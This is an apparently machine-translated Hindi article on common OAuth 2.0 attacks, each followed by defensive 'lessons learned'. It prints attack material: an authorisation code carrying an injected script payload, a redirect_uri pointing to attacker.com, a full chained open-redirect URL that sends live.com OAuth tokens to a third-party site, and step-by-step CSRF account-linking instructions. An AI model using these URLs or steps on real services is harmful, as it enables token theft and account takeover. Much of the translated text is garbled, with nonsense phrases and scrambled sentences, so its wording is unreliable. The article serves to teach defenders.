सबसे आम OAuth 2.0 हैक्स

OAuth 2 अवलोकन

यह लेख मानता है कि पाठक OAuth 2 से परिचित हैं। हालाँकि, इसका संक्षिप्त विवरण नीचे प्रस्तुत किया गया है।

1. एप्लिकेशन उपयोगकर्ता से सेवा संसाधनों तक पहुंचने के लिए प्राधिकरण से अनुरोध करता है। एप्लिकेशन को क्लाइंट आईडी, क्लाइंट सीक्रेट, रीडायरेक्ट URI और आवश्यक स्कोप प्रदान करने की आवश्यकता है।
2. यदि उपयोगकर्ता अनुरोध को अधिकृत करता है, तो आवेदन को प्राधिकरण अनुदान प्राप्त होता है
3. आवेदन अपनी स्वयं की पहचान का प्रमाणीकरण और प्राधिकरण अनुदान प्रस्तुत करके प्राधिकरण सर्वर से पहुंच टोकन का अनुरोध करता है
4. यदि एप्लिकेशन पहचान प्रमाणित है और प्राधिकरण अनुदान वैध है, तो प्राधिकरण सर्वर एप्लिकेशन को एक्सेस और रिफ्रेश (यदि आवश्यक हो) टोकन जारी करता है। प्राधिकरण पूरा हो गया है।
5. आवेदन संसाधन सर्वर से संसाधन का अनुरोध करता है और प्रमाणीकरण के लिए एक्सेस टोकन प्रस्तुत करता है
6. यदि पहुँच टोकन मान्य है, तो संसाधन सर्वर अनुप्रयोग के लिए संसाधन प्रदान करता है

OAuth 2.0 में कुछ मुख्य पेशेवरों और विपक्ष हैं

• OAuth 2.0 का उपयोग करना और कार्यान्वित करना आसान है (OAuth 1.0 की तुलना में)
• व्यापक प्रसार और निरंतर बढ़ रहा है
• शॉर्ट टोकेन रहते थे
• समझाया स्तन

- कोई हस्ताक्षर नहीं (केवल एसएसएल / टीएलएस पर निर्भर करता है), बियरर टोकन
- कोई अंतर्निहित सुरक्षा नहीं
- खतरनाक हो सकता है अगर अनुभवी लोगों से उपयोग नहीं किया जाता है
- बहुत अधिक समझौता। कार्य समूह ने स्पष्ट निर्णय नहीं लिए
- मोबाइल एकीकरण (वेब ​​दृश्य)
- Oauth 2.0 कल्पना एक प्रोटोकॉल नहीं है, बल्कि यह एक रूपरेखा है - RFC 6749

अधिक गंभीर मूल्यांकन

OAuth 2 भाड़े

प्राधिकरण कोड का उपयोग एक से अधिक बार किया जा सकता है

Google हमले का उदाहरण:

1. क्लाइंट आईडी रजिस्टर करें
2. प्राधिकरण समापन बिंदु ( https://accounts.google.com/o/oauth2/auth ) आदि में एक प्राधिकरण टोकन प्राप्त करें
3. अब प्राधिकरण कोड को इसमें से बदल दें
   4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
   को
   4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> .
   जैसा कि कहा गया है कि यह एक वैध प्राधिकरण कोड होने जा रहा है और एक्सेस टोकन इस तथ्य के कारण प्राप्त होता है कि प्राधिकरण कोड TOKEN1.TOKEN2 का है और केवल TOKEN1 मान्य है!
4. वास्तव में एक ही जाली प्राधिकरण कोड (अर्थात 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> का उपयोग करके पुनः अनुरोध करें। इस सब का दिलचस्प हिस्सा यह है कि टोकन एंडपॉइंट इसका उत्तर देने के लिए वैध प्राधिकरण कोड नहीं है। वास्तव में त्रुटि प्रतिक्रिया इस तरह दिखती है: टोकन रिकॉर्ड:

 Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ... 

जैसा कि आप देख सकते हैं आउटपुट सैनिटाइज्ड नहीं है।

सबक सीखा:

क्लाइंट को एक से अधिक बार प्राधिकरण कोड का उपयोग नहीं करना चाहिए। यदि किसी प्राधिकरण कोड का एक से अधिक बार उपयोग किया जाता है, तो प्राधिकरण सर्वर अनुरोध को अस्वीकार कर देता है और उस प्राधिकरण कोड के आधार पर पहले जारी किए गए सभी टोकन को (जब संभव हो) निरस्त कर देता है।

रीडायरेक्ट URI मान्य नहीं है

अब मान लेते हैं कि हमलावर:

1. एक नए क्लाइंट को पीड़ित.कॉम प्रदाता को पंजीकृत करता है।
2. हमलावर U.com की तरह एक पुनर्निर्देशित URI पंजीकृत करता है

फिर हमलावर फॉर्म का एक विशेष यूआरआई तैयार कर सकता है

 http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com 

अब आप यह तर्क दे सकते हैं कि यह केवल एक खुला पुनर्निर्देशन है और यह बहुत कुछ नहीं है जो आप इसके साथ कर सकते हैं?

आइए माइक्रोसॉफ्ट और फेसबुक उदाहरण के माध्यम से चलते हैं:

Microsoft एक विशेष OAuth गुंजाइश wli.contacts_emails का उपयोग करता है जो केवल फेसबुक के ऐप के लिए उपलब्ध है। एक दिलचस्प हिस्सा यह है कि उपयोगकर्ताओं को कभी सूचित नहीं किया जाता है कि ऐप उनके डेटा तक पहुंचने की कोशिश कर रहा है और अनुमति चुपचाप दी गई है।

आप इसे यहाँ आज़मा सकते हैं (आपको लॉगिन करना होगा):

 https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F 

यदि आप #### redirect_uri पैरामीटर को संशोधित करने का प्रयास करते हैं, तो आप देखेंगे कि टोकन #### facebook.com डोमेन के भीतर किसी भी URL को जारी किया गया है। अतः OAuth टोकन को दुर्भावनापूर्ण तीसरे पक्ष को लीक करने के लिए #### facebook.com डोमेन में एक ओपन रीडायरेक्ट की आवश्यकता होगी। जैसा कि ओपन रिडायरेक्ट्स को आमतौर पर कम गंभीरता की कमजोरियों के रूप में माना जाता है यह एक को खोजने के लिए विशेष रूप से कठिन नहीं है। इस उदाहरण के लिए हम फेसबुक के प्राधिकरण प्रवाह (एक अवैध ### गुंजाइश पैरामीटर प्रदान करके) में एक ओपन रीडायरेक्ट का उपयोग करेंगे। यह इस तरह काम करता है:

 https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com 

इसलिए दो बगों को चुनकर हम live.com उपयोगकर्ताओं से OAuth टोकन प्राप्त करने में सक्षम हैं। पूरा उदाहरण यहाँ है:

 https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com 

यदि आप अब गंतव्य URL का निरीक्षण करते हैं, तो आप देखेंगे कि Microsoft का OAuth टोकन आपकी सहमति के बिना किसी तृतीय-पक्ष वेबसाइट पर भेजा गया था। एक अन्य उदाहरण डोमेन एक्सएसएस असुरक्षित पृष्ठ पर पुनर्निर्देशन है, जहां स्क्रिप्ट अभी भी टोकन तक पहुंच सकती है।

सबक सीखा:

1. OAuth कार्यान्वयन पूरे डोमेन को कभी भी श्वेतसूची में नहीं करना चाहिए, केवल कुछ URL ताकि "रीडायरेक्ट_यूरी" एक ओपन रीडायरेक्ट को इंगित न किया जा सके। डेवलपर्स को सावधान रहना चाहिए, जब चुपचाप ऐप्स तक पहुंच प्रदान करना (मैन्युअल रूप से एक ऐप को मंजूरी देना शायद उपयोगकर्ता के अनुभव को बहुत खराब नहीं करेगा)।
   रीडायरेक्ट सर्वर को फिर से अप्रत्यक्ष रूप से पुनर्निर्देशित करने के लिए केवल सुरक्षित सत्यापन विधि ही सटीक मिलान है

   
   

2. यदि संसाधन स्वामी पहुँच अनुरोध को अस्वीकार कर देता है या यदि अनुपलब्ध या अमान्य पुनर्निर्देशन URI के अलावा अन्य कारणों से विफल रहता है, तो प्राधिकरण सर्वर "अनुप्रयोग / x-www का उपयोग करके पुनर्निर्देशन URI के क्वेरी घटक में निम्नलिखित पैरामीटर जोड़कर ग्राहक को सूचित करता है।" -फॉर्म- urlencoded "प्रारूप

   
   

3. HTTP 400 (खराब अनुरोध) स्थिति कोड के साथ प्रतिक्रिया दें।

   
   

क्रॉस-साइट अनुरोध जालसाजी OAuth क्लाइंट

ग्राहक के पुनर्निर्देशन के खिलाफ एक सीएसआरएफ हमला यूआरआई एक हमलावर को अपने प्राधिकरण कोड या टोकन को इंजेक्ट करने की अनुमति देता है, जिसके परिणामस्वरूप पीड़ित के बजाय हमलावर के संरक्षित संसाधनों के साथ जुड़े एक्सेस का उपयोग करके ग्राहक को परिणाम मिल सकता है (जैसे पीड़ित के बैंक खाते की जानकारी को बचाने के लिए। हमलावर द्वारा नियंत्रित एक संरक्षित संसाधन)।

1. क्लाइंट चुनें जो हैक की "स्थिति" के अनुरूप है - कुछ site.com (हम शोकेस के रूप में Pinterest का उपयोग करेंगे) प्रमाणीकरण प्रक्रिया शुरू करें - "OAuth प्रदाता लॉगिन जोड़ें" पर क्लिक करें। आपको प्रदाता से कॉलबैक प्राप्त करने की आवश्यकता है लेकिन उसे यात्रा नहीं करनी चाहिए।

   
   

2. पिछले URL के लिए क्या यात्रा नहीं ( http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# ), बस को बचाने और डाल आईटी src = "URL" या iframe या कुछ में img अन्यथा आप अनुरोध भेजना पसंद करते हैं।

   
   

1. अब आपको केवल अपने कॉलबैक URL पर HTTP अनुरोध भेजने के लिए उपयोगकर्ता (कुछ निश्चित लक्ष्य या यादृच्छिक साइट.कॉम उपयोगकर्ता) बनाना है। आप उसे example.com/somepage.html पर जाने के लिए बाध्य कर सकते हैं, जिसमें iframe src = URL, उसकी दीवार पर img, उसे एक ईमेल / ट्वीट, जो भी हो, भेजें। जब वह अनुरोध भेजता है तो उपयोगकर्ता को site.com पर लॉग इन करना होगा।
   अच्छा किया, आपका oauth खाता साइट.कॉम पर उपयोगकर्ता के खाते से जुड़ा हुआ है।

   
   

2. वोइला, उस OAuth प्रदाता के साथ लॉग इन दबाएं - आप सीधे साइट.कॉम पर उपयोगकर्ता के खाते में लॉग इन हैं

   
   

सबक सीखा:

क्लाइंट को अपने पुनर्निर्देशन URI के लिए CSRF सुरक्षा लागू करना होगा। यह आम तौर पर उपयोगकर्ता-एजेंट के प्रमाणित राज्य के लिए अनुरोध को बांधने वाले मान को शामिल करने के लिए पुनर्निर्देशन URI समापन बिंदु पर भेजे गए किसी भी अनुरोध की आवश्यकता के द्वारा पूरा किया जाता है (उदाहरण के लिए सत्र कुकी का एक हैश जो उपयोगकर्ता-एजेंट को प्रमाणित करने के लिए उपयोग किया जाता है)। क्लाइंट SHOULD प्राधिकरण मान बनाते समय "मान" अनुरोध पैरामीटर का उपयोग प्राधिकरण सर्वर पर इस मूल्य को देने के लिए करता है।

एक बार प्राधिकरण को अंतिम-उपयोगकर्ता से प्राप्त हो जाने के बाद, प्राधिकरण सर्वर "उपयोगकर्ता" एजेंट को "राज्य" पैरामीटर में निहित आवश्यक बाध्यकारी मान के साथ ग्राहक को वापस भेज देता है। बाइंडिंग मान क्लाइंट को उपयोगकर्ता-एजेंट के प्रमाणित स्थिति में बाइंडिंग मान का मिलान करके अनुरोध की वैधता को सत्यापित करने में सक्षम बनाता है। CSRF सुरक्षा के लिए उपयोग की जाने वाली बाइंडिंग वैल्यू में एक गैर-अनुमानित मूल्य होता है, और उपयोगकर्ता-एजेंट की प्रमाणीकृत स्थिति (ईजीसीज़ कुकी, एचटीएमएल 5 स्थानीय भंडारण) को केवल ग्राहक और उपयोगकर्ता-एजेंट (यानी, संरक्षित) के लिए सुलभ स्थान पर रखा जाना चाहिए। एक ही मूल नीति द्वारा)।

ऑथोराइजेशन सर्वर के ऑथराइजेशन एंडपॉइंट के खिलाफ CSRF अटैक का नतीजा यह हो सकता है कि एंड-यूजर को शामिल किए या अलर्ट किए बिना किसी दुर्भावनापूर्ण क्लाइंट के लिए एंड-यूज़र ऑथराइजेशन प्राप्त कर सकता है।

प्राधिकरण सर्वर को अपने प्राधिकरण समापन बिंदु के लिए CSRF सुरक्षा लागू करना चाहिए, और यह सुनिश्चित करना चाहिए कि दुर्भावनापूर्ण ग्राहक संसाधन स्वामी की जागरूकता और स्पष्ट सहमति के बिना प्राधिकरण प्राप्त नहीं कर सकता है।

यूआरआई का टोकन हिस्सा

यूआरआई पद्धति से जुड़ी सुरक्षा कमजोरियों के कारण, उच्च संभावना सहित कि एक्सेस टोकन वाले URL को लॉग किया जाएगा, इसका उपयोग तब तक नहीं किया जाएगा जब तक कि "प्राधिकरण" अनुरोध फ़ील्ड या में एक्सेस टोकन को ट्रांसपोर्ट करना असंभव न हो HTTP अनुरोध निकाय-निकाय। संसाधन सर्वर इस विधि का समर्थन कर सकते हैं।